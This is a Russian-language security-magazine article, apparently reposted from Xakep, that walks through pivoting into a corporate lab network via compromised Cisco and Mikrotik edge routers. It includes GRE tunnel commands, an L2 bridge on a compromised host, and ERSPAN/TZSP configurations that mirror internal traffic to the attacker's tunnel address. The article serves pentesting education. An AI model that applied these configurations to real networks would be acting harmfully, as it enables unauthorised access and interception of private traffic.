Хакер - Pivoting District. Как работает GRE-пивотинг поверх сетевого оборудования
hacker_frei
Caster
Содержание статьи
- GRE
- Лабораторная сеть
- L3 GRE VPN поверх Cisco IOS
- L3 GRE VPN поверх RouterOS
- Обеспечение туннеля L2 GRE с поддержкой L2-атак
- Возможные проблемы с MTU
- Перехват трафика с помощью Cisco ERSPAN
- Перехват трафика с помощью TZSP (Mikrotik)
- Выводы
При настройке средств защиты сетевое оборудование часто остается без внимания администраторов, что повышает вероятность взлома и получения контроля над такими устройствами. Что, если злоумышленник уже добился контроля над пограничным оборудованием? Сможет ли он подобраться к внутренней инфраструктуре?
Пивотинг (от английского pivoting, а не от слова «пиво») — это набор техник, которые позволяют получить доступ к внутренним ресурсам, минуя сетевую изоляцию, сетевые средства защиты, файрвол. Достаточно много было сказано о проведении пивотинга через традиционные службы SSH, OVPN и другие. Но в своем исследовании я продемонстрирую нетрадиционные приемы пивотинга сквозь пограничное сетевое оборудование с использованием протокола GRE.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
GRE
GRE (Generic Routing Encapsulation) — это протокол инкапсуляции сетевых IP-пакетов, разработанный инженерами Cisco. В продакшене он получил большую популярность, поскольку решает проблемы создания VPN-каналов для организаций. GRE проводит инкапсуляцию напрямую в IP-пакет, минуя транспортный уровень. Кстати говоря, в контексте IP-пакета у GRE есть свой числовой идентификатор — 47. По сути, GRE не предоставляет никаких средств защиты туннелируемых данных. Поэтому в продакшене обычно скрещивают GRE и IPSec для обеспечения безопасности данных. В этой статье я совсем немного расскажу о GRE, чтобы ты понимал, зачем он нам понадобился.

GRE-туннелирование здесь подразумевает три сущности:
- Delivery Header. Представляет собой IP-пакет с публичными адресами источника/назначения. Благодаря ему инкапсулированный пакет сможет достичь адресата в сети Интернет. Его размер — 20 байт;
- GRE-пакет. Его размер — 4 байта;
- пассажир. Это полезные данные, трафик, сгенерированные легитимными службами.


У GRE есть две версии — 0 и 1. На картинке выше представлена структура нулевой версии протокола GRE. Именно она обычно и используется. Как видишь, большинство заголовков здесь опциональные, то есть хранимые там значения есть не всегда и появляются лишь в специфичных сценариях. GRE также носит идентификатор инкапсулирующего протокола в заголовке Protocol Type. Под каждый протокол есть свой идентификатор: например, для пакета IPv4 этот идентификатор равен 0x0800.

WWW
Подробнее о GRE читай в документе RFC.
ЛАБОРАТОРНАЯ СЕТЬ
В качестве лабораторного стенда выступит сеть, изображенная на схеме.

Это типичная корпоративная сеть с тремя уровнями (уровень доступа, распределения и ядра). В качестве динамической маршрутизации используется протокол OSPF, для отказоустойчивости доступности шлюза — HSRP. Имеем четыре коммутатора уровня доступа и четыре сети VLAN со своей адресацией. Также подключен отдельный коммутатор уровня распределения, за ним сеть 192.168.20.0/24.
В качестве Edge Router будут выступать Cisco CSR и Mikrotik CHR v. 6.49.6.
С атакующей стороны машина с Kali Linux и публичным IP-адресом — для примера атаки из интернета. Предположим, что атакующий каким‑то образом получил доступ к панели управления пограничным маршрутизатором, поскольку продемонстрировать мы хотим пивотинг, а это, как известно, один из шагов во время постэксплуатации.
L3 GRE VPN ПОВЕРХ CISCO IOS
Продемонстрирую небольшой пример организации L3-туннеля во внутреннюю сеть, которая находится за самим пограничным роутером. Вообще, принципы настройки GRE не отличаются у всех вендоров сетевого оборудования, вопрос лишь в разном синтаксисе. Давай для начала посмотрим, как настраивать Cisco.
Конфигурация GRE в Cisco IOS включает следующее:
- создание логического интерфейса;
- указание режима, в котором будет работать туннель (GRE);
- назначение адреса на интерфейс (здесь возьмем адреса
172.16.0.1для Kali и172.16.0.2для Cisco CSR); - задание адреса источника
212.100.144.100; - задание адреса назначения
100.132.55.100.
EdgeGW(config)# interface tunnel 1
EdgeGW(config-if)# tunnel mode gre ip
EdgeGW(config-if)# ip address 172.16.0.2 255.255.255.0
EdgeGW(config-if)# tunnel source 212.100.144.100
EdgeGW(config-if)# tunnel destination 100.132.55.100
Теперь черед второй стороны GRE-туннеля. В нашем случае этой «второй стороной» будет хост атакующего. Linux прекрасно поддерживает работу с GRE при наличии необходимого модуля ядра ip_gre. А он есть почти везде.
Здесь шаги такие:
- импорт модуля ядра;
- создание логического интерфейса с указанием типа, адресов источника и назначения;
- назначение адреса на логическом интерфейсе;
- включение интерфейса.
c4s73r@kali:~$ sudo modprobe ip_gre
c4s73r@kali:~$ sudo ip link add name evilgre type gre local 100.132.55.100 remote 212.100.144.100
c4s73r@kali:~$ sudo ip addr add 172.16.0.1/24 dev evilgre
c4s73r@kali:~$ sudo ip link set evilgre up
Проверим работу туннеля через пинг до туннельного интерфейса Cisco CSR.


Посмотрим на таблицу маршрутизации, добавим некоторые маршруты до подсетей, чтобы проверить доступность.

Прописываем маршруты до целевых подсетей. Адресом шлюза в данном случае будет адрес логического GRE-интерфейса роутера Cisco CSR — 172.16.0.2.
c4s73r@kali:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.110.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.210.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 192.168.20.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo nmap -n -p 22 -iL targets -oA result

Примерно так будет выглядеть пакет с инкапсуляцией, если атакующий взаимодействует с внутренней сетью (ICMP, на примере внутренней подсети назначения 192.168.20.0/24).

L3 GRE VPN ПОВЕРХ ROUTEROS
Теперь продемонстрирую пример на оборудовании Mikrotik. Здесь абсолютно те же принципы настройки, разница лишь в синтаксисе и иерархии расположения сущностей (интерфейсы, IP-адресация и так далее).
INFO
Здесь приведены команды именно для RouterOS v. 6.
Создаем логический интерфейс GRE, назначаем ему адрес, прописываем адрес удаленной стороны:
[admin@EdgeGW] /interface/gre> add name=gre_pivoting remote-address=100.132.55.100 allow-fast-path=no
[admin@EdgeGW] /interface/address> add address=172.16.0.2 netmask=255.255.255.0 interface=gre_pivoting
Сторона атакующего. Все то же самое, что было в части про L3 VPN поверх Cisco:
c4s73r@kali:~$ sudo modprobe ip_gre
c4s73r@kali:~$ sudo ip link add name evilgre type gre local 100.132.55.100 remote 212.100.144.100
c4s73r@kali:~$ sudo ip addr add 172.16.0.1/24 dev evilgre
c4s73r@kali:~$ sudo ip link set evilgre up
Проверим работу туннеля GRE и ICMP:
[admin@EdgeGW] > ping 172.16.0.1

c4s73r@kali:~$ ping 172.16.0.2

Смотрим в таблицу маршрутизации /ip route print и добавляем некоторые маршруты для проверки сетевой связности.

c4s73r@kali:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.110.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 10.10.210.0 netmask 255.255.255.0 gw 172.16.0.2
c4s73r@kali:~$ sudo route add -net 192.168.20.0 netmask 255.255.255.0 gw 172.16.0.2
Проверим сетевую связность до хостов этих подсетей. ICMP Ping Sweep.

Вот таким образом можно обеспечить L3 GRE туннель на примере Cisco IOS и RouterOS. Однако в продакшене встречаются разные сетевые инфраструктуры со специфическими конфигурациями оборудования. Желательно перед построением GRE-туннеля полностью изучить конфигурацию маршрутизатора — вдруг дальнейшему прохождению трафика мешает ACL или, например, есть нужда в анонсировании сети GRE-туннеля, если мы говорим о динамической маршрутизации.
ОБЕСПЕЧЕНИЕ ТУННЕЛЯ L2 GRE С ПОДДЕРЖКОЙ L2-АТАК
Для решения этой проблемы существует TAP-интерфейс. TAP — это виртуальный сетевой драйвер, он позволяет эмулировать Ethernet-устройство и работает на канальном уровне сети (L2), оперирует именно Ethernet-кадрами. Сам GRE отлично работает с TAP-интерфейсами: Ethernet-кадр будет инкапсулирован в туннель GRE, что, в свою очередь, дает возможность L2-доступа до цели. Вообще, TAP-интерфейсы используются в продакшене для создания сетевых мостов.
Сам туннель L2 мы построим поверх туннеля L3, то есть получится GRE over GRE. Через туннель L3 мы сможем создать туннель L2 до целевой машины Relapse (предполагается, что атакующий уже получил контроль над ней). Эта машина представляет собой сервер на Ubuntu 22.04 с двумя интерфейсами.
На стороне атакующего идентичная ситуация с настройкой GRE L3, однако создаем именно интерфейс GRETAP.
c4s73r@kali:~$ sudo modprobe ip_gre
c4s73r@kali:~$ sudo ip link add name evilgretap type gre local 172.16.0.1 remote 192.168.20.20
c4s73r@kali:~$ sudo ip link set evilgretap up
Сторона целевого хоста. Выясним, что здесь с интерфейсами.


На машине Relapse два физических интерфейса. Второй физический интерфейс eth1 смотрит в некую подсеть, о которой мы не знали. Импортируем модуль для работы с GRE, создаем интерфейс GRETAP, создаем сетевой мост, куда мы поместим сам GRE и тот физический интерфейс.
c4s73r@Relapse:~$ sudo modprobe ip_gre
с4s73r@Relapse:~$ sudo ip link add name eviltap type gre local 192.168.20.20 remote 172.16.0.1
c4s73r@Relapse:~$ sudo brctl addbr internal
c4s73r@Relapse:~$ sudo brctl addif internal eviltap
c4s73r@Relapse:~$ sudo brctl addif internal eth1
c4s73r@Relapse:~$ sudo ip link set internal up
c4s73r@Relapse:~$ sudo sysctl -w net.ipv4.ip_forward=1
Запустим Wireshark на стороне атакующего, на TAP-интерфейсе.

В трафике обнаруживаем работу протоколов STP и DTP, это говорит о том, что мы сумели попасть в канальный сегмент.
Как видим в трафике (Wireshark был запущен для интерфейса evilgretap), добавился еще один заголовок GRE. Его идентификатор равен 0x6558, что говорит о взаимодействии GRE с Ethernet-мостом.

Попробуем получить адрес по DHCP:
c4s73r@kali:~$ sudo dhclient -v evilgretap

INFO
Во время получения адреса по DHCP из TAP-интерфейса возможно добавление другого маршрута по умолчанию, который может нарушить сетевую связность. Внимательно изучай свою таблицу маршрутизации во время траблшутинга и удали, что нужно, из таблицы маршрутизации.
Таким образом, мы получаем доступ к L2-контуру с машины Relapse и возможность проводить L2-атаки.




ВОЗМОЖНЫЕ ПРОБЛЕМЫ С MTU
В компьютерной сети есть такое понятие, как MTU. Это специальный параметр, который указывает на максимальный размер полезных данных во вложении. MTU есть и на физическом интерфейсе, и на туннельном. На физическом интерфейсе без применения Jumbo Frame максимальный MTU составляет 1500 байт, то есть только 1500 байт можно вложить в Ethernet.
А что с GRE? Это ведь логический интерфейс. MTU на туннельном интерфейсе GRE составляет 1476 байт. Такой MTU говорит только о том, что размер полезных данных необходимо уменьшить до 24 байт, чтобы кадр прошел через туннельный интерфейс без выполнения фрагментации.
Почему именно 24 байта? Потому что во время возникновения GRE-инкапсуляции добавляются два заголовка:
- Delivery Packet, он равен 20 байтам;
- GRE-заголовок, равен 4 байтам.
В случае L2 GRE over L3 GRE MTU на туннельном интерфейсе вообще должен быть 1472 байта, поскольку занимаются 28 байт (из‑за второго GRE-заголовка).
Но на самом деле туннельный интерфейс GRE сможет работать согласно MTU физического интерфейса, то есть передавать полезные данные в Ethernet-кадре размером 1500 байт включительно.
При необходимости можно увеличить MTU на туннельном интерфейсе, если возникают задержки и проблемы с передачей данных. Во время увеличения MTU туннельного интерфейса передаваемые IP-пакеты будут подвергаться фрагментации, поскольку сам интерфейс GRE позволяет пропускать через себя больше данных размером 1476 байт. Однако фрагментации может помешать специальный DF-бит в IP-пакете. Этот бит в принципе запрещает фрагментацию пакета.
Для Cisco IOS:
PWNED(config)# interface tunnel X
PWNED(config-if)# ip mtu 1514
Для RouterOS v. 6:
[admin@EdgeGW] /interface gre> set mtu=1514 name=gre_pivoting
До повышения MTU оригинальный пакет (пассажир) упирался бы в 1476 байт, а пакет может быть и не фрагментирован из‑за специального DF-бита, который запрещает фрагментацию IP-пакета. Но после повышения MTU оригинальный пакет не будет упираться в это ограничение, а фрагментироваться начнет второй IP-пакет (Delivery Packet), который здесь из‑за GRE-инкапсуляции, а у этого Delivery Packet DF-бита нет.
WWW
Если ты впервые сталкиваешься с темой MTU, она может оказаться сложной для понимания. Поэтому рекомендую разобраться подробнее.
- Maximum transmission unit (Wikipedia)
- What is MTU? (блог Cloudflare)
- Network Basics — Maximum Transmission Unit (YouTube)
ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ CISCO ERSPAN
ERSPAN (Encapsulated Remote Switch Port Analyzer) — это функция зеркалирования трафика, однако, в отличие от SPAN/RSPAN, она может передавать зеркалированный трафик поверх канала L3. Кстати говоря, она также использует протокол инкапсуляции GRE для передачи данных поверх L3-соединений. Этим может воспользоваться атакующий и проанализировать трафик внутренней инфраструктуры в поисках чувствительных данных либо узнать особенности инфраструктуры. ERSPAN — это проприетарная разработка Cisco, поэтому продемонстрирую вариант перехвата трафика именно на оборудовании Cisco.
Я буду зеркалировать трафик с интерфейса gi2 на IP-адрес 172.16.0.1 — это адрес туннельного интерфейса GRE системы атакующего. Приступим к конфигурации. Основные параметры здесь:
- идентификатор сессии ERSPAN;
- интерфейс источника;
- указание ERSPAN ID;
- IP-адрес, куда будет отправляться зеркалированный трафик;
- IP-адрес источника зеркалированного трафика;
- MTU (1900).
CSR(config)#monitor session 337 type erspan-source
CSR(config-mon-erspan-src)#source interface gigabitEthernet 2
CSR(config-mon-erspan-src)#no shutdown
CSR(config-mon-erspan-src)#destination
CSR(config-mon-erspan-src-dst)#erspan-id 337
CSR(config-mon-erspan-src-dst)#ip address 172.16.0.1
CSR(config-mon-erspan-src-dst)#origin ip address 172.16.0.2
CSR(config-mon-erspan-src-dst)#mtu 1900
CSR(config-mon-erspan-src-dst)#end
На этом конфигурация закончена. Можно приступить к анализу трафика на нашем интерфейсе GRE.

После конфигурации ERSPAN мы перехватываем весь трафик с интерфейса gi2. Например, в дампе трафика запечатлено наличие протокола OSPF. Обратив внимание на заголовки, видим, что среди них есть заголовок ERSPAN. То есть оригинальный трафик, который был зеркалирован для отправки до адресата, был развернут в туннель GRE с использованием ERSPAN-инкапсуляции.
Еще один пример — перехваченный ICMP-трафик. Видимо, внутри инфраструктуры шли пинги до сетевого оборудования. В трафике может быть все что угодно, но мы остановимся на этих примерах.

ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ TZSP (MIKROTIK)
Протокол TZSP (TaZmen Sniffer Protocol) — аналог протокола ERSPAN. Здесь абсолютно те же самые функции. TZSP может передавать зеркалированный трафик поверх L3-канала и обычно используется в инструменте Packet Sniffer внутри RouterOS.
Переходим в раздел конфигурации Packet Sniffer, расположенный в меню Tools, и настраиваем следующие параметры:
streaming-enabled— активирует работу сниффера;streaming-server— IP-адрес, куда будет отправляться зеркалированный трафик;filter-interface— интерфейсы источника, откуда будет дублироваться трафик;filter-stream— cниффер будет работать согласно политике фильтров.
[admin@EdgeGW] > /tool sniffer
[admin@EdgeGW] /tool sniffer> set streaming-enabled=yes streaming-server=172.16.0.1 filter-interface=ether1,ether2 filter-stream=yes
[admin@EdgeGW] /tool sniffer> start

ВЫВОДЫ
Примерно такими способами можно воспользоваться для пивотинга внутрь инфраструктуры или поверх сетевого оборудования. Надеюсь, моя работа подарит пентестерам и редтимерам новый полезный прием. Главное здесь — протокол GRE, который предоставляет могучие возможности как сетевым инженерам, так и специалистам по тестированию на проникновение.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei